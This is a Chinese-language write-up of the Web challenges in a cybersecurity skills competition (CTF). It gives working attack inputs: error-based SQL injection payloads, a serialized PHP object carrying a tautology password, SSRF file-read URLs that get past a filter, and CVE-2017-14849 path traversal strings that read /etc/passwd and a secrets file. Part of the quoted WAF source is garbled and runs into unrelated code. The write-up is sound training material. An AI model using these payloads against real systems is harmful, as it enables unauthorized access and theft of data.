网络安全管理职业技能竞赛Web writeup

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0x01 easy_sql

一开始看到是easysql，那就先上sqlmap跑跑看，跑出了数据库名security以及若干表名

继续跑flag，结果没跑出来，最后还是上手工了。

测试输入一个单引号，页面无反应，但是在源码中发现了又报错信息

接着用单引号和括号闭合，报错注入，之后想了一下，为什么页面没有回显呢，原来是因为错误信息居然显示白色，前期被骗了很久，用鼠标描一下即可看到。

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

 

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

 

 

 

0x02 ezsqli

开局一个输入框

查看hint得到源码

//a "part" of the source code here




function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>| ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }




    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }




    public function waf(){
           $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }




    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }




}
?>

可以看到在check_login中，有个flag的输出点，前提是我们需要伪造成admin用户

继续往下看，有个执行SQL语句的地方

 public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

下面还有个waf，看了一下，发现我们需要构造的万能密码所用到的字符不会被ban

$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }

所以这里我们可以利用SQL注入来变成admin登录，username改为admin，password为万能密码a' or '1'='1，代码如下：

include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);

得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9，
输入之后获得flag

0x04 ssrfME

访问可以看到有两个输入点，一个可以输入url，一个是验证码

脚本爆破验证

尝试使用file协议读取，发现读取/etc/passwd成功

读取/flag，没成功，尝试读取/var/www/html/index.php，得到源码，原来是有个waf过滤了flag

···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
    $url = $_POST['url'];
    $captcha = $_POST['captcha'];
    $is_post = 1;
    if ( $captcha !== $_SESSION['answer'])
    {
        $die_mess = "wrong captcha";
        $is_die = 1;
    }




    if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";
        $is_die = 1;
    }
}
···

file协议读flag，利用两个url编码flag绕过

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

0x05 SecretGuess

题目给了源码，但是不全

在index.html中发现了source，点击可以看到源码

const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")


const app = express();


app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')


app.get('/', (req, res) => {    res.render("index")
})


app.post('/', (req, res) => {    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {        res.render("index", {result: process.execSync("echo $FLAG")})    } else {        res.render("index", {result: "wrong secret"})    }
})


app.get('/source', (req, res) => {    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})


app.listen(80, "0.0.0.0");

在给出dockerfile中，文件内容为

FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js

去搜索相关内容，发现了可能会存在CVE-2017-14849漏洞

输入/static/../../a/../../..//etc/passwd，利用成功

接着去获取secret，/static/../../a/../../../usr/local/app/.env，得到secret=CVE-2017-14849

根据源码中的条件

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )

我们将CVE-2017-14849进行md5加密之后提交即可获得flag，auth=10523ece56c1d399dae057b3ac1ad733